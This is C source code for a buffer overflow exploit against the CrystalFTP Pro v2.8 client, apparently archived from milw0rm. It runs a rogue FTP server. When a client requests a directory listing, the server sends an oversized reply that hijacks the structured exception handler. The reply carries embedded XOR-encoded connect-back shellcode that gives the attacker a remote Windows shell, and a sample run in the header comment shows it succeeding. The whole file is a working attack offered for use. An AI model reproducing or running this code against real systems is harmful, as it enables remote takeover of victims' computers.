/* * CrystalFTP Pro v2.8 Buffer Overflow Exploit * * 04/25/2005 * * despite the fact that nobody uses CrystalFTP * i had to release a new version that replaces * the first one. * * this overwrites the structured exception handler * with a "pop edx pop eax ret" in kernel32.dll. * this takes us to a pointer of the next SEH. * just jmp over the SEH itself and reverse code * gets executed. * * add more targets if needed * * have phun * * __ __ _ * _______ __/ /_ ___ _____/ /__________ ____ (_)____ * / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/ * / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ * \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/ * /____/ * * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net * --[ local IP: 192.168.2.102 * --[ incomming connection from: 192.168.2.103 * --[ sending welcome message...done! * --[ getting login information * --[ reading USER...done! * --[ reading PASS...done! * USER LOGGED IN! * --[ proceeding... * --[ reading cmd...done! * --[ reading cmd...done! * --[ reading cmd...done! * --[ entering passive mode... * --[ passive connection established! * --[ reading cmd...done! * --[ user is trying to use "LIST" command * --[ w00d w00d, let`s kick his ass... * --[ sending packet [ 711 bytes ]...done! * --[ confirming...done! * --[ starting reverse handler [port: 1337]...done! * --[ incomming connection from: 192.168.2.103 * --[ b0x pwned - h4ve phun * Microsoft Windows XP [Version 5.1.2600] * (C) Copyright 1985-2001 Microsoft Corp. * * C:\crystalFTP> * */ #include #include #include #include #include /* * * definitions * */ #define RED "\E[31m\E[1m" #define GREEN "\E[32m\E[1m" #define YELLOW "\E[33m\E[1m" #define BLUE "\E[34m\E[1m" #define NORMAL "\E[m" #define PORT 21 #define PASV 31337 #define BACKLOG 5 /* * * prototypes * */ int isip ( char* ip ); int shell ( int s, char* tip, unsigned short cbport ); char* get_cmd ( int s ); void auth ( int s ); void handle_cmd ( int s, int connfd, char* ip ); void header (); void start_reverse_handler (); /********************* * Windows Shellcode * *********************/ /* * Type : connect back shellcode * Length: 316 bytes * CBIP : reverseshell[111] ( ^ 0x99999999 ) * CBPort: reverseshell[118] ( ^ 0x9999 ) * */ unsigned char reverseshell[] = "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9" "\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3" "\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE" "\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99" "\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF" "\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6" "\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF" "\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD" "\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD" "\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD" "\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66" "\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66" "\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB" "\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3" "\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3" "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D" "\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75" "\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2" "\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0"; unsigned char head[] = "\x2d\x72\x77\x2d\x72\x2d\x2d\x72\x2d\x2d\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x32\x39\x20\x44\x65\x63\x20\x32" "\x32\x20\x31\x33\x3a\x33\x37\x20\x63\x79\x62\x65\x72\x74\x72\x6f" "\x6e\x69\x63\x2e"; char* argv3 = NULL; /* * * functions * */ int isip ( char* ip ) { unsigned int a, b, c, d; sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ); if ( a < 1 || a > 255 ) return ( 1 ); if ( b < 0 || b > 255 ) return ( 1 ); if ( c < 0 || c > 255 ) return ( 1 ); if ( d < 0 || d > 255 ) return ( 1 ); return ( 0 ); } int shell ( int s, char* tip, unsigned short cbport ) { int n; char buffer[2048]; fd_set fd_read; printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" ); FD_ZERO ( &fd_read ); FD_SET ( s, &fd_read ); FD_SET ( 0, &fd_read ); while ( 1 ) { FD_SET ( s, &fd_read ); FD_SET ( 0, &fd_read ); if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 ) break; if ( FD_ISSET ( s, &fd_read ) ) { if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 ) { printf ( "bye bye...\n" ); return; } if ( write ( 1, buffer, n ) < 0 ) { printf ( "bye bye...\n" ); return; } } if ( FD_ISSET ( 0, &fd_read ) ) { if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 ) { printf ( "bye bye...\n" ); return; } if ( send ( s, buffer, n, 0 ) < 0 ) { printf ( "bye bye...\n" ); return; } } usleep(10); } } char* get_cmd ( int s ) { static char cmd[32]; printf ( "--[" YELLOW " reading cmd..." NORMAL ); if ( read ( s, cmd, 32 ) <= 0 ) { printf ( RED "failed!\n" NORMAL); exit ( 1 ); } printf ( GREEN "done!\n" NORMAL ); return ( cmd ); } void auth ( int s ) { char user[32], pass[32], out[128]; printf ( "--[ sending welcome message..." ); bzero ( &out, 128 ); strcpy ( out, "220 cybertronicFTP v0.2\r\n" ); if ( write ( s, out, strlen ( out ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } printf ( GREEN "done!\n" NORMAL ); printf ( "--[ getting login information\n" ); printf ( "--[" YELLOW " reading USER..." NORMAL ); sleep ( 1 ); if ( read ( s, user, 32 ) <= 0 ) { printf ( RED "failed!\n" NORMAL ); exit ( 1 ); } printf ( GREEN "done!\n" NORMAL ); sleep ( 1 ); bzero ( &out, 128 ); strcpy ( out, "331 Anonymous FTP server\r\n" ); if ( write ( s, out, strlen ( out ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } printf ( "--[" YELLOW " reading PASS..." NORMAL ); sleep ( 1 ); if ( read ( s, pass, 32 ) <= 0 ) { printf ( RED "failed\n" NORMAL ); exit ( 1 ); } printf ( GREEN "done!\n" NORMAL ); sleep ( 1 ); bzero ( &out, 128 ); strcpy ( out, "230 Login successful!\r\n" ); if ( write ( s, out, strlen ( out ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } printf ( GREEN "\tUSER LOGGED IN!\n" NORMAL ); printf ( "--[ proceeding...\n" ); } void handle_cmd ( int s, int s2, char* ip ) { int listenfd, connfd; int i = 1; int tmp[4]; unsigned long ret = 0x77ea5794; //edx eax ret in kernel32.dll char* a = NULL; char* cmd; char out[128], buffer[1024], addr[32]; pid_t childpid; socklen_t clilen; struct sockaddr_in cliaddr, servaddr; while ( 1 ) { cmd = get_cmd ( s ); if ( strncmp ( cmd, "PWD", 3 ) == 0 ) { bzero ( &out, 128 ); strcpy ( out, "257 \"/\" is current directory.\r\n" ); if ( write ( s, out, strlen ( out ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } } else if ( strncmp ( cmd, "CWD", 3 ) == 0 ) { bzero ( &out, 128 ); strcpy ( out, "257 \"/\" is current directory.\r\n" ); if ( write ( s, out, strlen ( out ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } } else if ( strncmp ( cmd, "TYPE", 4 ) == 0 ) { bzero ( &out, 128 ); strcpy ( out, "200 Type set to A..\r\n" ); if ( write ( s, out, strlen ( out ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } } else if ( strncmp ( cmd, "PASV", 4 ) == 0 ) { bzero ( &addr, 32 ); a = ( char* ) strtok ( ip, "." ); tmp[0] = ( int ) a; while ( a != NULL ) { a = ( char* ) strtok ( NULL, "." ); tmp[i] = ( int )a; i++; } bzero ( &out, 128 ); sprintf( out, "227 Entering Passive Mode. (%s,%s,%s,%s,122,105).\r\n", tmp[0], tmp[1], tmp[2], tmp[3] ); if ( write ( s, out, strlen ( out ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } printf ( "--[ entering passive mode...\n" ); if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 ) { printf ( RED "socket failed!\n" NORMAL ); exit ( 1 ); } bzero ( &servaddr, sizeof ( servaddr ) ); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl ( INADDR_ANY ); servaddr.sin_port = htons ( PASV ); bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) ); if ( listen ( listenfd, 1 ) == -1 ) { printf ( RED "listen failed!\n" NORMAL ); exit ( 1 ); } clilen = sizeof ( cliaddr ); if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 ) { close ( listenfd ); printf ( RED "accept failed!\n" NORMAL ); exit ( 1 ); } close ( listenfd ); printf ( "--[" GREEN " passive connection established!\n" NORMAL ); handle_cmd ( s, connfd, addr ); } else if ( strncmp ( cmd, "LIST", 4 ) == 0 ) { printf ( "--[" GREEN " user is trying to use \"LIST\" command\n" NORMAL ); printf ( "--[ w00d w00d, let`s kick his ass...\n" ); bzero ( &buffer, 1024 ); memcpy ( buffer, head, sizeof ( head ) - 1 ); memset ( buffer + 68, 0x90, 255 ); memcpy ( buffer + 321, "\xeb\x46", 2 ); strncat ( buffer, ( unsigned char * ) &ret, 4 ); memset ( buffer + 327, 0x90, 66 ); memcpy ( buffer + 393, reverseshell, sizeof ( reverseshell ) - 1 ); strcat ( buffer, "\r\n" ); bzero ( &out, 128 ); strcpy ( out, "150 Here comes the directory listing.\r\n" ); if ( write ( s, out, strlen ( out ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } printf ( "--[ sending packet [ %d bytes ]...", strlen ( buffer ) ); if ( write ( s2, buffer, strlen ( buffer ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } printf ( GREEN "done!\n" NORMAL); bzero ( &out, 128 ); strcpy ( out, "226 Transfer ok\r\n" ); printf ( "--[ confirming..." ); if ( write ( s, out, strlen ( out ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } printf ( GREEN "done!\n" NORMAL); close ( s2 ); start_reverse_handler ( argv3 ); } else { bzero ( &out, 128 ); strcpy ( out, "550 command not supported\r\n" ); if ( write ( s, out, strlen ( out ) ) <= 0 ) { printf ( RED "\twrite failed!\n" NORMAL ); exit ( 1 ); } } } } void header () { printf ( " __ __ _ \n" ); printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" ); printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" ); printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" ); printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" ); printf ( " /____/ \n\n" ); printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" ); } void start_reverse_handler () { int s1, s2; unsigned short cbport; struct sockaddr_in cliaddr, servaddr; socklen_t clilen = sizeof ( cliaddr ); sscanf ( argv3, "%u", &cbport ); bzero ( &servaddr, sizeof ( servaddr ) ); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl ( INADDR_ANY ); servaddr.sin_port = htons ( cbport ); printf ( "--[ starting reverse handler [port: %u]...", cbport ); if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 ) { printf ( "socket failed!\n" ); exit ( 1 ); } bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) ); if ( listen ( s1, 1 ) == -1 ) { printf ( "listen failed!\n" ); exit ( 1 ); } printf ( YELLOW "done!\n" NORMAL); if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 ) { printf ( "accept failed!\n" ); exit ( 1 ); } close ( s1 ); printf ( "--[" GREEN " incomming connection from:\t" YELLOW " %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) ); shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport ); close ( s2 ); } int main ( int argc, char* argv[] ) { int listenfd, connfd; unsigned long xoredip; unsigned short xoredcbport; char* ip; pid_t childpid; socklen_t clilen; struct sockaddr_in cliaddr, servaddr; if ( argc != 3 ) { printf ( RED "--[ usage: %s \n" NORMAL, argv[0] ); exit ( 1 ); } if ( isip ( argv[1] ) != 0 ) { printf ( RED "--[ enter a valid IP\n" NORMAL ); exit ( 1 ); } system ( "clear" ); header (); argv3 = argv[2]; xoredip = inet_addr ( argv[1] ) ^ ( unsigned long ) 0x99999999; xoredcbport = htons ( atoi ( argv[2] ) ) ^ ( unsigned short ) 0x9999; memcpy ( &reverseshell[111], &xoredip, 4); memcpy ( &reverseshell[118], &xoredcbport, 2); if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 ) { printf ( RED "socket failed!\n" NORMAL ); exit ( 1 ); } bzero ( &servaddr, sizeof ( servaddr ) ); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl ( INADDR_ANY ); servaddr.sin_port = htons ( PORT ); bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) ); if ( listen ( listenfd, BACKLOG ) == -1 ) { printf ( RED "listen failed!\n" NORMAL ); exit ( 1 ); } for ( ; ; ) { clilen = sizeof ( cliaddr ); if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 ) { close ( listenfd ); printf ( RED "accept failed!\n" NORMAL ); exit ( 1 ); } if ( ( childpid = fork ( ) ) == 0 ) { close ( listenfd ); ip = ( char* ) ( argv[1] ); printf ( "--[ local IP: %s\n", ip ); printf ( "--[" GREEN " incomming connection from:\t" YELLOW " %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) ); auth ( connfd ); handle_cmd ( connfd, ( int ) NULL, ip ); } close ( connfd ); } } // milw0rm.com [2005-04-24]